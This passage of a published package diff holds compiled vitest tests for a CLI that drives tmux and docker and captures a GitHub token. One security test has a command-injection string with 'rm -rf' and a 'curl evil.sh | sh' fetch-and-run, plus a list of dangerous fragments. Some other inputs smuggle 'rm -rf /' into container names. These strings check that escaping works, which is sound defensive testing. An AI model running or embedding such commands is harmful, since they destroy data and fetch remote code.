@pleri/olam-cli 0.1.7

package/dist/__tests__/enter.test.js

@@ -0,0 +1,90 @@
+import { describe, expect, it } from 'vitest';
+import { buildStartClaudeCommands } from '../commands/enter.js';
+describe('buildStartClaudeCommands (Phase C/C4)', () => {
+    it('without --task, returns: open + ensure-window + attach (3 steps)', () => {
+        const steps = buildStartClaudeCommands('container-x', 'olam-w1', undefined);
+        expect(steps.length).toBe(3);
+        expect(steps[0].command).toContain('tmux new-session -A -d -s olam-w1');
+        expect(steps[0].command).toContain("-n claude 'claude'");
+        // Step 1b: idempotent claude-window ensure (CP3 ADV-C4-002 closure).
+        expect(steps[1].command).toContain('tmux new-window -t olam-w1 -n claude');
+        expect(steps[1].command).toContain('|| true');
+        expect(steps[2].command).toContain('tmux attach -t olam-w1');
+        expect(steps.every((s) => s.stdin === undefined)).toBe(true);
+    });
+    it('with empty --task, treats as no-task (still 3 steps, no paste)', () => {
+        const steps = buildStartClaudeCommands('container-x', 'olam-w1', '');
+        expect(steps.length).toBe(3);
+        expect(steps.every((s) => s.stdin === undefined)).toBe(true);
+        expect(steps.every((s) => !s.command.includes('paste-buffer'))).toBe(true);
+    });
+    it('with --task, returns: open + ensure-window + load-buffer (stdin) + paste-buffer + attach (5 steps)', () => {
+        const steps = buildStartClaudeCommands('container-x', 'olam-w1', 'fix the bug');
+        expect(steps.length).toBe(5);
+        expect(steps[0].command).toContain('tmux new-session -A');
+        expect(steps[0].stdin).toBeUndefined();
+        expect(steps[1].command).toContain('tmux new-window -t olam-w1 -n claude');
+        expect(steps[2].command).toContain('tmux load-buffer -');
+        expect(steps[2].command).toContain('docker exec -i container-x');
+        expect(steps[2].stdin).toBe('fix the bug');
+        expect(steps[3].command).toContain('tmux paste-buffer -t olam-w1:claude');
+        expect(steps[3].stdin).toBeUndefined();
+        expect(steps[4].command).toContain('tmux attach -t olam-w1');
+    });
+    it('rejects task containing NUL byte (CP3 ADV-C4-001 — paste-buffer truncation)', () => {
+        expect(() => buildStartClaudeCommands('container-x', 'olam-w1', 'before\0after')).toThrow(/NUL byte/);
+    });
+    it('SECURITY (T17): task with shell metacharacters rides via stdin, NEVER appears in any command argv', () => {
+        const evil = 'Fix bug; rm -rf /tmp; $(curl evil.sh | sh) `whoami`';
+        const steps = buildStartClaudeCommands('container-x', 'olam-w1', evil);
+        // The dangerous text MUST appear EXACTLY ONCE — in the stdin of the
+        // load-buffer step.
+        const loadBuf = steps.find((s) => s.command.includes('tmux load-buffer'));
+        expect(loadBuf).toBeDefined();
+        expect(loadBuf.stdin).toBe(evil);
+        // Every other step's command (and ALL command strings) MUST NOT contain
+        // any of the dangerous substrings — that would mean the task was
+        // interpolated into argv somewhere.
+        const dangerousFragments = [
+            'rm -rf /tmp',
+            'curl evil.sh',
+            '`whoami`',
+            '$(curl',
+        ];
+        for (const step of steps) {
+            for (const frag of dangerousFragments) {
+                expect(step.command).not.toContain(frag);
+            }
+        }
+    });
+    it('SECURITY: newline in task survives literally (no premature submission)', () => {
+        const multiline = 'first line\nsecond line';
+        const steps = buildStartClaudeCommands('container-x', 'olam-w1', multiline);
+        const loadBuf = steps.find((s) => s.command.includes('tmux load-buffer'));
+        expect(loadBuf.stdin).toBe(multiline);
+        // Literal newline preserved through stdin → load-buffer.
+        expect(loadBuf.stdin).toContain('\n');
+    });
+    it('rejects containerName with shell metacharacters (defensive guard)', () => {
+        expect(() => buildStartClaudeCommands('evil; rm -rf /', 'olam-w1', undefined)).toThrow(/containerName.*defensive guard/);
+    });
+    it('rejects sessionName with shell metacharacters (defensive guard)', () => {
+        expect(() => buildStartClaudeCommands('container-x', 'evil; rm /', undefined)).toThrow(/sessionName.*defensive guard/);
+    });
+    it('rejects empty containerName', () => {
+        expect(() => buildStartClaudeCommands('', 'olam-w1', undefined)).toThrow(/containerName.*defensive guard/);
+    });
+    it('handles long task text (>4KB) — paste buffer is byte-based, not arg-len-bounded', () => {
+        const long = 'A'.repeat(8192);
+        const steps = buildStartClaudeCommands('container-x', 'olam-w1', long);
+        const loadBuf = steps.find((s) => s.command.includes('tmux load-buffer'));
+        expect(loadBuf.stdin).toBe(long);
+        expect(loadBuf.stdin.length).toBe(8192);
+    });
+    it('command target uses session:window form for paste-buffer (avoids accidental window selection)', () => {
+        const steps = buildStartClaudeCommands('container-x', 'olam-w1', 'hello');
+        const paste = steps.find((s) => s.command.includes('tmux paste-buffer'));
+        expect(paste.command).toContain('-t olam-w1:claude');
+    });
+});
+//# sourceMappingURL=enter.test.js.map

package/dist/__tests__/enter.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"enter.test.js","sourceRoot":"","sources":["../../src/__tests__/enter.test.ts"],"names":[],"mappings":"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"}

package/dist/__tests__/host-cp-gh-token.test.d.ts

@@ -0,0 +1,9 @@
+/**
+ * Unit tests for captureGhToken and updated buildComposeEnv (GH_TOKEN injection).
+ *
+ * Isolated from host-cp.test.ts because these tests mock node:child_process
+ * (spawnSync) — the mock is file-scoped and would otherwise break the pure-
+ * function tests in the sibling file.
+ */
+export {};
+//# sourceMappingURL=host-cp-gh-token.test.d.ts.map

package/dist/__tests__/host-cp-gh-token.test.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"host-cp-gh-token.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/host-cp-gh-token.test.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG"}

package/dist/__tests__/host-cp-gh-token.test.js

@@ -0,0 +1,119 @@
+/**
+ * Unit tests for captureGhToken and updated buildComposeEnv (GH_TOKEN injection).
+ *
+ * Isolated from host-cp.test.ts because these tests mock node:child_process
+ * (spawnSync) — the mock is file-scoped and would otherwise break the pure-
+ * function tests in the sibling file.
+ */
+import { describe, it, expect, vi, afterEach } from 'vitest';
+// Mock external packages that don't exist in the test environment.
+vi.mock('dockerode', () => ({ default: vi.fn() }));
+vi.mock('@olam/adapters', () => ({
+    auditPortsForZombies: vi.fn(),
+    PortHeldByZombieError: class PortHeldByZombieError extends Error {
+    },
+}));
+vi.mock('@olam/core/src/util/open-url.js', () => ({ openUrl: vi.fn() }));
+vi.mock('../context.js', () => ({ loadContext: vi.fn() }));
+vi.mock('../output.js', () => ({
+    printError: vi.fn(),
+    printSuccess: vi.fn(),
+    printInfo: vi.fn(),
+    printHeader: vi.fn(),
+    printWarning: vi.fn(),
+}));
+// Mock node:child_process before importing the module under test so
+// spawnSync is replaceable per-test.
+const mockSpawnSync = vi.fn();
+vi.mock('node:child_process', async (importOriginal) => {
+    const mod = await importOriginal();
+    return { ...mod, spawnSync: mockSpawnSync };
+});
+// Import AFTER the mocks are registered.
+const { captureGhToken, buildComposeEnv } = await import('../commands/host-cp.js');
+afterEach(() => {
+    vi.clearAllMocks();
+});
+// ── captureGhToken ────────────────────────────────────────────────
+describe('captureGhToken', () => {
+    it('returns the token when gh auth token exits 0 with output', () => {
+        mockSpawnSync.mockReturnValue({
+            status: 0,
+            stdout: 'ghp_abc123\n',
+            stderr: '',
+        });
+        expect(captureGhToken()).toBe('ghp_abc123');
+        expect(mockSpawnSync).toHaveBeenCalledWith('gh', ['auth', 'token'], expect.objectContaining({
+            encoding: 'utf-8',
+        }));
+    });
+    it('returns null when gh auth token exits non-zero (not authenticated)', () => {
+        mockSpawnSync.mockReturnValue({
+            status: 1,
+            stdout: '',
+            stderr: 'not logged in\n',
+        });
+        expect(captureGhToken()).toBeNull();
+    });
+    it('returns null when gh exits 0 but stdout is empty (edge case)', () => {
+        mockSpawnSync.mockReturnValue({
+            status: 0,
+            stdout: '',
+            stderr: '',
+        });
+        expect(captureGhToken()).toBeNull();
+    });
+    it('returns null when gh exits 0 but stdout is only whitespace', () => {
+        mockSpawnSync.mockReturnValue({
+            status: 0,
+            stdout: '   \n',
+            stderr: '',
+        });
+        expect(captureGhToken()).toBeNull();
+    });
+    it('returns null when spawnSync throws (gh not installed)', () => {
+        mockSpawnSync.mockImplementation(() => {
+            throw new Error('spawn gh ENOENT');
+        });
+        expect(captureGhToken()).toBeNull();
+    });
+    it('strips trailing newline from token', () => {
+        mockSpawnSync.mockReturnValue({
+            status: 0,
+            stdout: 'ghs_token_value\n',
+            stderr: '',
+        });
+        expect(captureGhToken()).toBe('ghs_token_value');
+    });
+});
+// ── buildComposeEnv — GH_TOKEN extension ─────────────────────────
+describe('buildComposeEnv with ghToken', () => {
+    it('includes GH_TOKEN when provided alongside auth secret', () => {
+        const env = buildComposeEnv('auth-secret-value', 'ghp_abc123');
+        expect(env).toEqual({
+            OLAM_AUTH_SECRET: 'auth-secret-value',
+            GH_TOKEN: 'ghp_abc123',
+        });
+    });
+    it('includes GH_TOKEN when auth secret is null', () => {
+        const env = buildComposeEnv(null, 'ghp_abc123');
+        expect(env).toEqual({ GH_TOKEN: 'ghp_abc123' });
+    });
+    it('omits GH_TOKEN when ghToken is null', () => {
+        const env = buildComposeEnv('auth-secret-value', null);
+        expect(env).toEqual({ OLAM_AUTH_SECRET: 'auth-secret-value' });
+    });
+    it('omits GH_TOKEN when ghToken is undefined (backward-compat)', () => {
+        const env = buildComposeEnv('auth-secret-value');
+        expect(env).toEqual({ OLAM_AUTH_SECRET: 'auth-secret-value' });
+    });
+    it('omits GH_TOKEN when ghToken is empty string', () => {
+        const env = buildComposeEnv(null, '');
+        expect(env).toEqual({});
+    });
+    it('returns empty object when both are null/undefined', () => {
+        expect(buildComposeEnv(null, null)).toEqual({});
+        expect(buildComposeEnv(null)).toEqual({});
+    });
+});
+//# sourceMappingURL=host-cp-gh-token.test.js.map

package/dist/__tests__/host-cp-gh-token.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"host-cp-gh-token.test.js","sourceRoot":"","sources":["../../src/__tests__/host-cp-gh-token.test.ts"],"names":[],"mappings":"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"}

package/dist/__tests__/host-cp.test.d.ts

@@ -0,0 +1,9 @@
+/**
+ * Phase F-2-D (D1+D2+D3): unit tests for host-cp.ts pure helpers.
+ *
+ * Covers token + PID file management. Docker-dependent paths
+ * (findHostCpContainer, probeHealth, handleStart, etc.) are integration-
+ * tested in M5 dogfood (D5) against a live docker daemon.
+ */
+export {};
+//# sourceMappingURL=host-cp.test.d.ts.map

package/dist/__tests__/host-cp.test.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"host-cp.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/host-cp.test.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG"}

package/dist/__tests__/host-cp.test.js

@@ -0,0 +1,254 @@
+/**
+ * Phase F-2-D (D1+D2+D3): unit tests for host-cp.ts pure helpers.
+ *
+ * Covers token + PID file management. Docker-dependent paths
+ * (findHostCpContainer, probeHealth, handleStart, etc.) are integration-
+ * tested in M5 dogfood (D5) against a live docker daemon.
+ */
+import { describe, it, expect, beforeEach, afterEach } from 'vitest';
+import * as fs from 'node:fs';
+import * as os from 'node:os';
+import * as path from 'node:path';
+import { writeToken, readToken, removeToken, writePid, readPid, removePid, readAuthSecret, authSecretPath, buildComposeEnv, readR2Credentials, r2CredentialsPath, } from '../commands/host-cp.js';
+let tmpHome;
+let originalHome;
+beforeEach(() => {
+    tmpHome = fs.mkdtempSync(path.join(os.tmpdir(), 'olam-host-cp-test-'));
+    originalHome = process.env.OLAM_HOME;
+    process.env.OLAM_HOME = tmpHome;
+});
+afterEach(() => {
+    if (originalHome === undefined)
+        delete process.env.OLAM_HOME;
+    else
+        process.env.OLAM_HOME = originalHome;
+    fs.rmSync(tmpHome, { recursive: true, force: true });
+});
+// ── writeToken / readToken / removeToken ─────────────────────────
+describe('writeToken', () => {
+    it('writes a 64-char hex token', () => {
+        const token = writeToken();
+        expect(token).toMatch(/^[0-9a-f]{64}$/);
+    });
+    it('writes to ~/.olam/host-cp.token by default', () => {
+        writeToken();
+        const filePath = path.join(tmpHome, 'host-cp.token');
+        expect(fs.existsSync(filePath)).toBe(true);
+    });
+    it('sets file mode 0600', () => {
+        writeToken();
+        const filePath = path.join(tmpHome, 'host-cp.token');
+        const mode = fs.statSync(filePath).mode & 0o777;
+        expect(mode).toBe(0o600);
+    });
+    it('creates the parent directory if missing', () => {
+        fs.rmSync(tmpHome, { recursive: true, force: true });
+        writeToken();
+        expect(fs.existsSync(path.join(tmpHome, 'host-cp.token'))).toBe(true);
+    });
+    it('overwrites existing token (each start regenerates)', () => {
+        const t1 = writeToken();
